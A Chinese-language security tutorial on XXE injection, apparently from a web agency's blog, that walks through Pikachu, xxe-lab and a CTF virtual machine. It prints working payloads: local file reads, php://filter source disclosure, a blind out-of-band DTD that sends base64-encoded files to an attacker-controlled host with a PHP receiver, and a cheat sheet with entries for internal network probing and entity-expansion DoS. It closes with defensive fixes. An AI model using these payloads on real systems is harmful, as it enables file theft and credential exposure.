ARTICLE DETAIL

建站实战干货

来自一线的建站与推广经验沉淀,每一条都经过真实交付验证。

XXE 漏洞

2026/8/3 12:43:01 拓冰建站 浏览量
XXE 漏洞

XXE 漏洞 — 当 XML 解析器帮你偷文件

SQL 注入是对数据库下手,XSS 是往页面里塞 JS,SSRF 是让服务器当跳板。今天来一个冷门但杀伤力极大的:XXE(XML 外部实体注入)。它不需要花里胡哨的技巧,只需要几行 XML,就能让服务器乖乖把内部文件读给你看。从原理到两次 Base64 解密拿 Flag,一路通关。


课程概览

1. XML 基础:概念、与 HTML 的区别、实际应用 2. XXE 是什么?有哪些危害? 3. 有回显 XXE:直接读取文件 4. 无回显 XXE:盲打进带出的艺术 5. xxe-lab 靶场实战 6. 综合案例:虚拟机靶场通关拿 Flag 7. XXE 防御与修复

一、XML 基础快速复习

XXE 的本质是利用了 XML 解析器对外部实体的信任。所以学 XXE 之前,必须知道 XML 是什么。

1.1 XML 概念

XML 被设计为传输和存储数据,它把数据从 HTML 中分离出来,是独立于软件和硬件的信息传输工具。

一个标准的 XML 文档包含三部分:

XML 声明 → <?xml version="1.0"?> DTD 定义 → <!DOCTYPE ... > (可选,文档类型定义) 文档元素 → <root>实际数据</root>

1.2 XML vs HTML

对比XMLHTML
设计目的传输和存储数据显示数据
关注焦点数据的内容数据的外观
标签自定义标签预定义标签
严格性格式严格,错一点就报错容错性强

一句话:HTML 用来展示,XML 用来传输。

1.3 XML 的实际应用

如果你做过 Java 开发,这些文件你一定见过:

文件用途
pom.xmlMaven 项目依赖配置
web.xmlJava Web 应用的部署描述符
mybatis/mapper.xmlMyBatis 数据库映射配置

这说明 XML 在企业应用中无处不在,也意味着 XXE 的攻击面非常广。


二、XXE 概念与危害

2.1 什么是 XXE?

XXE 全称XML External Entity Injection,中文:XML 外部实体注入。

原理一句话:

应用程序解析 XML 时,没有禁止外部实体的加载,攻击者可以构造恶意的 XML 让解析器去读取本地文件、发起网络请求、探测内网端口等。

2.2 XXE 能造成哪些危害?

危害说明
读取任意文件file:///etc/passwd拿服务器用户列表
命令执行配合特定环境执行系统命令
内网端口扫描探测内网存活主机和开放端口
攻击内网网站以服务器为跳板对内网发起攻击
DoS 攻击实体嵌套导致解析器资源耗尽

⚠️ 需要 Apache >= 5.4 版本(部分 PHP 环境中 XXE 才有实际效果)。


2.3 案例:XXE 有回显读取文件

第一步:准备被读取的文件

在桌面建一个1.txt,内容随意(比如Hello World! 这是敏感数据),路径为:

C:\Users\Administrator\Desktop\1.txt
第二步:打开 Pikachu 靶场 XXE 页面
http://localhost/pikachu/vul/xxe/xxe_1.php
第三步:构造 XXE Payload
<?xml version = "1.0"?><!DOCTYPEany[<!ENTITY xxe SYSTEM "file:///C://Users//Administrator//Desktop//1.txt">]><foo>&xxe;</foo>

逐行拆解:

<?xml version="1.0"?> → XML 声明 <!DOCTYPE any[ → DTD 定义,any 是根元素名(随便写) <!ENTITY xxe SYSTEM "file:///C://...1.txt"> → 定义外部实体 xxe,指向本地文件 ]> <foo>&xxe;</foo> → 在 <foo> 标签中引用实体 &xxe;

&xxe;会被替换为1.txt文件的内容。注意实体名xxe随便写,aabcfile都行。

等价写法(实体名可以随便取)
<?xml version = "1.0"?><!DOCTYPEany[<!ENTITY a SYSTEM "file:///C://Users//Administrator//Desktop//1.txt">]><b>&a;</b>
更猛的操作:读取系统 hosts 文件
<?xml version = "1.0"?><!DOCTYPEany[<!ENTITY a SYSTEM "file:///C:/Windows/System32/drivers/etc/hosts">]><b>&a;</b>
也可以定义内部实体(不读文件,纯测试)
<?xml version = "1.0"?><!DOCTYPEa[<!ENTITYa"嘻嘻">]><c>&a;</c>

提交后页面显示「嘻嘻」→ 说明 XML 解析器正常工作,XXE 测试环境确认无误!


2.4 案例:XXE 无回显(盲 XXE)— 外带数据

很多时候 XXE 没有回显——你读了文件但页面不显示内容。怎么办?把数据带出来。

基本原理
1. 目标服务器解析 XXE → 读取文件内容 2. 将文件内容编码后作为 URL 参数 3. 向攻击者的服务器发起 HTTP 请求 4. 攻击者的 get.php 接收并保存数据
环境准备:修改靶场让它无回显

修改\pikachu\vul\xxe\xxe_1.php,去掉正常的回显,让它变成一个「无回显」页面。

三步走攻击

第一步:主攻击脚本(贴到 Pikachu 输入框)

<?xml version = "1.0"?><!DOCTYPEANY[<!ENTITY % dtd SYSTEM "http://192.168.220.135/vil.dtd"> %dtd;]>

%dtd;引用攻击者服务器上的外部 DTD 文件vil.dtd

第二步:在攻击者虚拟机(Win10)上创建 vil.dtd

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=C://Users//Administrator//Desktop//1.txt"> <!ENTITY % all "<!ENTITY&#x25;send SYSTEM 'http://192.168.220.135/get.php?file=%file;'>"> %all; %send;

逐步拆解:

<!ENTITY % file SYSTEM "php://filter/..."> → 定义参数实体 %file,读取目标文件并 Base64 编码 <!ENTITY % all "<!ENTITY &#x25; send SYSTEM 'http://...?file=%file;'>"> → 利用 %file 的值构造一个动态的 %send 实体 → %send 就是向攻击者服务器发送 HTTP 请求,URL 参数中附带文件内容 %all; → 执行 %all → 动态生成 %send 实体 %send; → 执行 %send → 向攻击者服务器发起带数据的请求

第三步:在攻击者虚拟机上创建 get.php

<?php$data=$_GET['file'];$myfile=fopen("file.txt","w+");fwrite($myfile,$data);fclose($myfile);?>

攻击完成!访问http://192.168.220.135/file.txt→ 看到 Base64 编码的文件内容 → 解码 → 原始文件到手!


2.5 无回显 XXE 的三个关键疑问

Q1:为什么需要嵌套%all这一层?
<!-- 下面这种写法会报错! --><!DOCTYPEupdateProfile[<!ENTITY % file SYSTEM "php://filter/..."> <!ENTITY % send SYSTEM 'http://127.0.0.1/get.php?file=%file'> %send;]>

XML 解析器不会解析同一层级的参数实体。必须把%send的定义放到%all里面,由%all去动态生成%send,才能让%file的值被正确替换进去。

Q2:为什么必须引用外部 DTD 文件?

DTD 内部子集中,不允许在标记声明中引用参数实体。必须使用外部 DTD(即单独的.dtd文件)来绕过这个限制。

<!-- 必须这样,引用外部文件 --><!DOCTYPEANY[<!ENTITY % dtd SYSTEM "http://攻击者IP/vil.dtd"> %dtd;]>
Q3:&#x25;是什么?

&#x25;%号的 HTML 实体编码。直接写%在实体内部会被解析器误以为是参数实体声明符,所以用&#x25;替代,等解析时再转回%


三、靶场实战:xxe-lab

3.1 环境

http://localhost/xxe/

3.2 登录并拦截

  1. 打开http://localhost/xxe/
  2. 随便输入用户名密码,用 Burp Suite 拦截请求
  3. 发现请求体是XML 格式→ 潜在 XXE 攻击点!
  4. 发送到 Repeater(重试模块)

3.3 验证 XXE 漏洞

在 Repeater 中将请求体替换为:

<!DOCTYPEANY[<!ENTITY file SYSTEM "file:///C://Users//Administrator//Desktop//1.txt">]><user><username>&file;</username><password>12313</password></user>

返回了1.txt的内容 →XXE 漏洞确认!

3.4 获取用户名密码

但我们不知道后台的验证逻辑,如何拿到真正的用户名密码?直接读取登录处理的 PHP 源码!

<!DOCTYPEANY[<!ENTITY file SYSTEM "php://filter/read=convert.base64-encode/resource=doLogin.php">]><user><username>&file;</username><password>12313</password></user>

关键技术:

php://filter/read=convert.base64-encode/resource=文件路径

PHP 的php://filter伪协议能读取文件并以 Base64 编码返回。不直接用file://的原因:如果文件是 PHP 代码,PHP 解析器会执行它而不是输出源码,用 Base64 编码就能绕过执行,拿到原始代码。

解密:访问 https://base64.us/ 将返回的 Base64 解码 → 得到doLogin.php的源码 → 源码中硬编码了用户名和密码!

用拿到的账号密码登录 →登录成功!


四、综合案例:虚拟机靶场通关

这是一个模拟真实攻防的复杂靶场,需要经过端口扫描 → 目录扫描 → XXE 探测 → 多步读取 → 两次解密才能拿到 Flag。


4.1 环境安装

  1. 在 VMware 中通过.ovf文件导入靶场虚拟机
  2. 网络模式设置为NAT(减少探测范围)

4.2 端口扫描 — 定位目标

在 Kali 中扫描 NAT 网段:

sudosuroot nmap192.168.220.1/24

发现192.168.220.136开放了80 端口→ 这就是目标!

访问http://192.168.220.136→ 看到 Web 页面。


4.3 目录扫描

# 用 nmap 脚本扫描nmap-sV192.168.220.136--scriptdefault

发现关键路径:

http://192.168.220.136/robots.txt ← 信息泄露! http://192.168.220.136/xxe/ ← XXE 功能点!

4.4 XXE 漏洞探测

访问http://192.168.220.136/xxe/→ 登录页面,用 BP 拦截 → XML 格式 →XXE 攻击点!

第一步:读取 xxe.php 源码
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPEANY[<!ENTITY file SYSTEM "php://filter/read=convert.base64-encode/resource=xxe.php">]><root><name>&file;</name><password>123213</password></root>

Base64 解码后得到:

<?phplibxml_disable_entity_loader(false);// 未禁止外部实体!漏洞根源$xmlfile=file_get_contents('php://input');$dom=newDOMDocument();$dom->loadXML($xmlfile,LIBXML_NOENT|LIBXML_DTDLOAD);$info=simplexml_import_dom($dom);$name=$info->name;$password=$info->password;echo"Sorry, this$namenot available!";// 永远显示错误,但能被 XXE 截胡!?>

发现这个页面无论输入什么都返回错误 — 但这不重要,XXE 能读取它背后的文件!


第二步:读取 admin.php 获取后台密码
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPEANY[<!ENTITY file SYSTEM "php://filter/read=convert.base64-encode/resource=admin.php">]><root><name>&file;</name><password>123213</password></root>

Base64 解码后得到 admin.php 源码,从中提取出:

用户名:administhebest 密码: admin@123(经过 MD5 解密 → https://cmd5.com/)

第三步:登录后台

访问http://192.168.220.136/xxe/admin.php→ 输入上面拿到的用户名密码 →登录成功!

页面提示 Flag 在某个地方,但直接访问该链接发现「不容许访问」→ 继续用 XXE 读!


第四步:读取 flagmeout.php
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPEANY[<!ENTITY file SYSTEM "php://filter/read=convert.base64-encode/resource=flagmeout.php">]><root><name>&file;</name><password>123213</password></root>

Base64 解码后得到:

<?php$flag="<!-- the flag in (JQZFMMCZPE4HKWTNPBUFU6JVO5QUQQJ5) -->";echo$flag;?>

Flag 经过了两层编码


第五步:两次解密密文

密文:JQZFMMCZPE4HKWTNPBUFU6JVO5QUQQJ5

第一次解密 — Base32:

JQZFMMCZPE4HKWTNPBUFU6JVO5QUQQJ5 → (Base32 解码) → L2V0Yy8uZmxhZy5waHA=

Base32 解码工具:https://www.bejson.com/encrypt/base32/

第二次解密 — Base64:

L2V0Yy8uZmxhZy5waHA= → (Base64 解码) → /etc/.flag.php

隐藏文件.flag.php/etc/目录下!文件名前的.表示 Linux 隐藏文件。


第六步:读取最终的 Flag
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPEANY[<!ENTITY file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/.flag.php">]><root><name>&file;</name><password>123213</password></root>

Base64 解码 → 得到一段混淆的 PHP 代码 → 使用在线 PHP 代码执行工具运行:

  • https://code.y444.cn/
  • https://www.toolnb.com/dev/runCode.html

🎉输出内容:{xxe_is_so_easy}— Flag 到手!


综合案例通关路线图

nmap 扫端口 → 找到 192.168.220.136:80 ↓ 目录 / 文件扫描 → 发现 robots.txt + /xxe/ 登录页 ↓ BP 拦截 XXE 登录请求 → 验证 XML 解析 XXE ↓ 读取 xxe.php → 确认漏洞 + 了解代码逻辑 ↓ 读取 admin.php → 拿到 admin@123(MD5 解密) ↓ 登录后台 → 发现 flagmeout.php 链接不容许访问 ↓ 读取 flagmeout.php → 拿到 Base32 密文 ↓ Base32 → Base64 两次解密 → /etc/.flag.php ↓ 读取 /etc/.flag.php → 混淆 PHP 代码 ↓ 在线运行 PHP 代码 → 🎯 {xxe_is_so_easy}

五、XXE 漏洞防御

防御方法:禁止外部实体

xxe.php中修改代码:

// XXE 漏洞防御// 禁止外部实体 — libxml_disable_entity_loader 必须为 truelibxml_disable_entity_loader(true);

验证修复效果

再次对http://localhost/xxe/发起 XXE 攻击:

<!DOCTYPEANY[<!ENTITY file SYSTEM "php://filter/read=convert.base64-encode/resource=doLogin.php">]><user><username>&file;</username><password>12313</password></user>

无法读取文件内容 →XXE 漏洞已被修复!

防御总结

措施说明
禁用外部实体libxml_disable_entity_loader(true)
过滤 XML 输入过滤DOCTYPEENTITYSYSTEM等关键字
使用白名单协议仅允许安全的协议,拒绝file://ftp://
升级 XML 解析器使用默认禁用外部实体加载的新版解析器
WAF 拦截开 WAF 检测 XXE 攻击特征

六、XXE Payload 速查表

场景Payload
有回显读文件<!ENTITY xxe SYSTEM "file:///path/to/file">
读 PHP 源码<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=xxx.php">
无回显外带<!ENTITY % dtd SYSTEM "http://攻击者IP/vil.dtd"> %dtd;
内网探测<!ENTITY xxe SYSTEM "http://192.168.1.1:80">
DoS 攻击递归实体嵌套<!ENTITY a "&b;&b;&b;&b;&b;...">

七、课后作业

综合案例:对虚拟机靶场进行完整 XXE 攻击,拿到最终 Flag{xxe_is_so_easy}


写在最后:XXE 是一个看似冷门但杀伤力极大的漏洞——只需几行 XML,就能让服务器把内部文件拱手送上。很多开发者以为 XML 只是数据格式,没意识到它能加载外部实体,从而埋下大雷。搞定 XXE,你的漏洞挖掘武器库又多了件神兵利器。下一课见!